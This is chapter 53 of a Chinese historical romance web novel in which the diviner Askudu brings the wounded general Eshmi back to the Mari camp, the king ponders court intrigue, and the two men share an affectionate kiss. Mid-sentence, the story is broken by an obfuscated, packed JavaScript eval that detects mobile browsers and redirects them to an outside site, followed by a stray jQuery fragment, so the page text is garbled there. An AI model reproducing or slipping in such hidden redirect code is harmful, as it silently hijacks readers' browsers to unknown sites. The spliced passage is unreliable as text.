53. 阿斯库杜 你别玩火

作品:《【古巴比伦】占卜师与猎犬

    林间小道一路延伸,树影在阳光下斑驳变幻,时而穿林过溪,时而沿峭壁缓行。马蹄踏在松软的土壤上,发出沉稳的节奏。


    阿斯库杜还是一样不爱说话,埃什弥也不强求,一路上和阿斯库杜说些有的没的。有时候遇到小河,他们会停下来洗脸、饮水。阿斯库杜一向洁净,哪怕是赶路途中,也会将衣襟与袖口清洗干净。阳光照在他白净的面庞上,发丝在水边晃出浅色的光,像河底一缕灵光,冷而柔,倔强又安静。


    阿斯库杜不止一次在夜里悄悄看他腿上的伤,愈发严重的红肿与渗血让他心里有点沉。只是埃什弥总笑着说“没事”,他也就忍住没说出口。


    第五天清晨,天刚蒙蒙亮,苏巴尔图的外营地远远地已能够望见。那片熟悉的旌旗像一束束立在晨雾里的火焰,猎猎作响,仿佛唤着归人。


    阿斯库杜勒马站定,回过头,却发现埃什弥的脸色比以往还要苍白许多,额头上的汗水一滴一滴滑落,甚至连背脊都微微发颤。


    “你还行吗?”阿斯库杜问。


    “还行……”埃什弥低声应着,可还没说完,身子便一歪,整个人从马背上倒了下去。


    “埃什弥!”阿斯库杜一惊,连忙翻身下马,膝盖重重跪在地上去接他。


    埃什弥倒在他怀里,脸色煞白,腿上的布条已经被血水染透,触目惊心。那股熟悉的、令人心慌的濒死气息又一次逼近,阿斯库杜的心蓦地一紧。


    “来人——!”他抬头朝前方的营地高声喊道。


    “来人!!”


    风将他的呼喊传得很远。


    不多时,远处城头传来一声短促的号角声。


    那是哨兵回应他的讯号。


    接着,几个身穿玛里军装的骑兵飞快奔来,马蹄扬尘。领头的年轻哨兵一见倒地的是埃什弥,神情大变,翻身下马:“将军?!怎么回事?”


    “先救他进去!”阿斯库杜冷声道,语气却透着焦急。


    两名士兵立即上前,抬着昏迷的埃什弥上了马,转头飞奔回营。而那位年轻哨兵看了一眼阿斯库杜,迟疑片刻,问:“这位是……?”


    “带我进去。”阿斯库杜站起身,声音平静,却有着一股不容忽视的压迫感。


    那哨兵一愣,没敢多问,只赶紧领着他一同进了营。


    营地内早已人声沸腾,有人跑去传军医,有人去通报金瑞林。


    金瑞林看到埃什弥所伤之重时,眼底不免泛起忧虑之色,随后,深深地叹了一口气。


    那晚,埃什弥半夜不知道发什么疯,非要拉着占卜师做占卜,结果不尽人意就不顾腿上的伤拉来一匹马跑远了。金瑞林连劝都来不及劝。


    帷帐被掀开一角,见阿斯库杜出现在在门口,金瑞林便道,“就知道他是为你而去的。”


    “你怎么样?宫中怎么会发生那样的事?”


    阿斯库杜先是看了一眼床上昏迷的人,又见医师已经上前开始处理伤口,好似终于放心下来,这才看向身旁的金瑞林,先是对他行了一礼,之后便道。


    “王,你们离开后,祭祀院那边就发生了病羊事件,之后我就被抓进了牢狱,一直到我逃出来。”


    阿斯库杜的眉眼微微低垂着,将那些他受的伤全部隐去。


    金瑞林示意他起身,又问,“知道是谁做的吗?”


    “起先只听到公主二字,以为是西布图公主…”


    阿斯库杜的话还没说完,金瑞林便打断道,“不可能。西布图就是脾气性子直些,做不出这种伤人害人之事。”


    阿斯库杜点点头,继续说,“后来在我从王城逃出来时,听到那追来的侍卫提到伊布尼西娜公主。”


    伊布尼西娜公主是亚赫顿林的妹妹,埃什弥和金瑞林都本应称他为姑妈,但是伊布尼西娜早些年就随着埃什弥的父亲与家里闹掰了,一直到后来伊布尼西娜回到部落,金瑞林才认了她。


    埃什弥本来应该一道成“姑妈”的,毕竟是父亲这边的姊妹,但伊布尼西娜和埃什弥的妈妈恩海杜安娜情同姐妹,因此便让埃什弥称她为“姨妈”。


    只是,伊布尼西娜又为什么会对阿斯库杜痛下杀手。


    这点金瑞林想不明白,他记得前些日子埃什弥还写信回去叫伊布尼西娜帮忙处理阿斯库杜被冤下牢狱的事情,可闹到最后,居然就是伊布尼西娜动的手。


    金瑞林暂时离开王城,国内的大事小情本意是交给西布图,但西布图毕竟还没有和金瑞林正式成婚,算不上是玛里王国的王后,因此只能将王国事务交给伊布尼西娜去做。


    金瑞林本身对这个姑妈就忌惮几分。她可不是心慈手软的类型,骑马射箭样样精通,当年更是将山林中的狼王打了下来。后来,玛里复国,进入了玛里王国的核心体系,对于手下的人更是毫不手软,训练了一批训练有素的死侍不说,连身边的侍女都是个顶个的高手。


    若是换成别人,拥有如此力量,金瑞林必定将其打压。但毕竟是自家人,伊布尼西娜又一心一意辅助他的统治,金瑞林也就睁一只眼闭一只眼了。


    但若说金瑞林丝毫没有想要打压伊布尼西娜的意思,可必定也是不可能的。毕竟身居高位,历朝历代手足相残的事情又时有发生….


    想到这里,金瑞林便觉得这次的事是一个好机会。


    这可是伊布尼西娜自己送上门来的,那么便是机不可失失不再来。


    阿斯库杜可没注意到金瑞林的表情,他一直都在盯着医师那边的动作。


    埃什弥的伤口已经发炎,布条解开时甚至带出些许脓水,周围的皮肤红得吓人。军医不敢怠慢,迅速清创、上药、包扎,一切都干净利落,动作间却透着不安。


    那医师走上前来,对金瑞林行了一礼,说道,“王,再晚来半日,这腿恐怕就保不住了。”


    金瑞林点点头,回,“他命大。”


    阿斯库杜这才冷冰冰地回头看了金瑞林一眼。


    正巧金瑞林也回过头来看他。


    也就那一瞬间,金瑞林便被阿斯库杜眼底的冰冷吓了一跳。一晃神,好像又见到了三年前的阿斯库杜。那是金瑞林第一次见这位“鼎鼎大名”的美人占卜师,说是“鼎鼎大名”,实际是“臭名远扬”。


    王国内外传遍了埃考拉图的大王子身边有一位美人占卜师,极善占卜,操纵神意、玩弄权力的本事不在话下,年纪轻轻就爬上了首席占卜师的地位,又有传闻说那美人占卜师是大王子伊什美达甘枕头边上的人。


    而当那人就那么提着刀,一路杀伐而来,进入他远在萨噶拉图之外的营帐时,可给金瑞林吓了一大跳。


    想过这位传奇人物会出乎意料,但也不能是以这种方式吧。


    回想着这些往事,金瑞林不由得又看了阿斯库杜一眼。


    当年埃什弥被他派去进攻萨噶拉图,萨噶拉图是进入玛里王城的门户,想要攻打玛里王城,就必须拿下萨噶拉图。也是在那一战中,埃什弥被敌人抓去关在牢狱中,硬生生被挑断了手筋脚筋,身上更是多了好几个血窟窿。


    这些事情不知道怎么就传进了阿斯库杜的耳朵里,那时候阿斯库杜早就叛变了伊什美达甘,又被伊什美达甘的弟弟亚斯马赫-阿杜看中,调任到了埃考拉图大王国的另一部分,也就是玛里王国的版图上来。


    按理说,金瑞林和埃什弥与他来说都是敌人,可偏偏知道埃什弥在萨噶拉图身受重伤的消息后,阿斯库杜直接提刀杀进了金瑞林的营帐,那时候他的眼神一如此刻冰冷。


    想到这些,金瑞林不禁觉得玩味,这样一个人,居然能够被他召进玛里宫廷中为他做事。要知道,当年可是传得沸沸扬扬,阿斯库杜亲手毒死了他的第一任国王,沙马什-阿达德。随后又背叛了他的第二位王国伊什美达甘,之后又再次背叛了亚斯马赫-阿杜,才不远万里进入了他的宫廷。


    谁也不知道阿斯库杜当年为什么要这么做。


    但金瑞林猜测,和埃什弥脱不开关系。


    不然,阿斯库杜也不会留在玛里宫廷之中。


    金瑞林的嘴角不禁勾了起来,这么一个人要是能够为他所用,自然极好。可若是不能….


    没说什么,金瑞林便拍了拍阿斯库杜肩膀,说道,“去看看他吧,你们也这么久不见了。”


    之后,没等阿斯库杜回话,金瑞林便掀起帐帘出去了,那两位军医也随着他离开。


    剩下的第三位军医依然坐在那里,为埃什弥做最后的治疗。


    阿斯库杜走上前去,那名医官才回过头来,语气平稳道:


    “伤口已经处理好了,没伤到骨,接下来要静养几天。”


    阿斯库杜点了点头,声音淡淡的:“他的右腿之前本来就受过很重的伤,如今又是这条腿,而且也是差不多的位置,会留下后遗症吗?”


    “本来这次伤得不算重,只是将军他离开了军营一段时间,后续没有得到很好的治疗才导致了这次伤口溃烂的情况。康复之后应该不会影响日常的活动。”军医迟疑了一下,又加了一句,“但还是小心为好。”


    阿斯库杜眼里的担忧若隐若现,他谢过医师,便回头望着埃什弥。


    士兵们大概都起来了,现在正在外面训练整军。帘布将外界嘈杂的声音隔离得模模糊糊。埃什弥安静地躺在床上,眉头微蹙,唇角发白。


    阿斯库杜坐到他床边,静静地看了他一会儿。


    他伸手帮他理了理额前凌乱的发,手指触到那熟悉的温度时,忽然有一丝怔然。许久,他才轻声说:


    “怎么这么傻,不把伤口处理好了再出来。”


    自然是无人回应。


    帘布轻响,营帐仿佛整个都沉寂下来。阿斯库杜没再说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808276|174725||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    话,只静静守在一旁,直到天色完全暗下来,夜风将营地外的火光吹得忽明忽暗。


    伤口感染,埃什弥昏迷了一夜。


    第二天清晨,营帐中淡淡的光线从顶端缝隙透下。


    埃什弥睁开眼睛的时候,帐里没人,阿斯库杜不在身边。


    他心里猛地一紧,一种不安从心底泛起。他连忙翻身下床,也顾不上腿上的伤口,托着步子一瘸一拐就往外面去。


    猛地掀开帘帐,一股清晨的冷风扑面而来,下一秒,埃什弥就看见了那道熟悉的身影。


    阿斯库杜背对着他,蹲在营帐不远处的水盆前,低着头不知在做些什么,动作专注安静。


    “阿斯库杜!”埃什弥脱口而出,声音里还带着未褪尽的慌乱。


    那道白色的身影便很快站起,转过身来看他。


    埃什弥这才看清,阿斯库杜手中正拧着一条已经被洗得干净的帕子,水珠顺着指尖滴落在地。


    他喉咙一涩,却咧嘴笑了下:


    “你…还在啊。”


    “你以为我在哪?”阿斯库杜挑眉。


    “我以为你…走了。”


    ”哦?“阿斯库杜的声音拉长了一点。


    埃什弥低着头,轻笑了一声,语气却是认真的。


    “我就只能…再去追你。”


    阿斯库杜的唇角也挂上了清淡的笑意,走近两步来到他面前,抬手将帕子往他脸上一按。水迹带着微微的凉意。


    “再追”,阿斯库杜淡淡地说,“腿就真没了。”


    话说得不轻不重,却是严厉的警告。但拿着帕子为他擦拭的动作却轻柔得近乎温柔。他抬眸看了埃什弥一眼,随即视线又顺着帕子的轨迹移动着。擦过鼻子,便望着鼻子,拭过唇角,便盯着他的唇角,那双眼睛里有种说不出的情绪,像是想将他一寸寸刻进心里,深刻到哪怕时间再久,都不会淡去。


    那双手往下滑着,帕子的边角擦过脖颈的轮廓,一点点落到锁骨处。再往下,指尖不经意地掠过肌肤。


    埃什弥呼吸一滞,随即一把扣住了他的手腕。


    “阿斯库杜”他低声笑着,眼底却藏着一点暗火,“别玩火。”


    阿斯库杜盯着埃什弥的眼睛,没立刻回答。他的手就那么握在埃什弥的手心里,带着他的温度和味道。


    下一秒,阿斯库杜眼神一暗,踮起脚尖,吻住了埃什弥的唇。


    帐外的晨风猎猎作响,刮得帘布微微鼓起,又倏地落下,将他们两人的身影圈在一方安静的世界里。


    阿斯库杜动情地吻着埃什弥,而埃什弥则更为用心地亲吻着他,舌头一点一点划过阿斯库杜的唇,描摹着形状,随后逐渐深入,撬开贝齿,进而去寻找另一柔软之处。


    埃什弥本来就没用多少力道,只是轻轻扣着那只手腕,可阿斯库杜这一动作直接把埃什弥心中的欲望激起,他猛地拽过阿斯库杜,将他贴在自己身前,指腹贴着阿斯库杜的脉搏,清楚地感受着那“怦怦“跳动,像是正在回应他心头的某种悸动。


    “你爱我吗?”


    埃什弥垂头蹭着阿斯库杜光滑的脖子,又暧昧地舔舐着,低声问道。


    阿斯库杜没说话。


    埃什弥另一只环着他腰的手便又用力紧了紧,几乎是将他勒到自己怀里,语气有些凶狠,还有些急躁,却还是极力克制着,引诱般问道,“我问你爱不爱我?”


    阿斯库杜一方面任由他摆弄着,又腾出空子回应,语气微喘,“你身上好热,你是发烧了吗?回去再躺一会儿,我去叫医…”


    最后一个字还没说完,埃什弥就一口咬住了阿斯库杜的嘴唇。


    阿斯库杜冷不丁抽吸一声,可能是痛到了,便微怒道,“你是狗吗!”


    埃什弥又蹭他,唇角笑意不减,回,“是啊,你才知道吗?”


    阿斯库杜抬头看着他,眼神没有闪躲,像是将所有从前藏着掖着的情绪都掀开来,赤裸地摊在他面前。


    他笑着,语气里多了点意味不明的低哑,“我早就知道了。很早之前。”


    虽然前一句没有得到回应,但阿斯库杜的样子还是让埃什弥乐开了花,忍不住又去吻他,抱他。


    但却迟迟没有下一步动作。


    两人也都经历了大病小情,埃什弥其实觉得自己倒无所谓,但是阿斯库杜的伤…


    埃什弥便停下了动作,开始掀阿斯库杜衣服。


    阿斯库杜也任由他掀,像是一个温柔的主人纵容着他的大狗。


    之后埃什弥将阿斯库杜推到床边,却没有欺身而上。


    正当阿斯库杜闭上眼睛以为要发生些什么之时,他听到埃什弥惊叫道。


    “你身上的伤口竟然全部都好了!连伤疤都没留!”


    “。。。。”


    阿斯库杜抬手给了埃什弥一巴掌。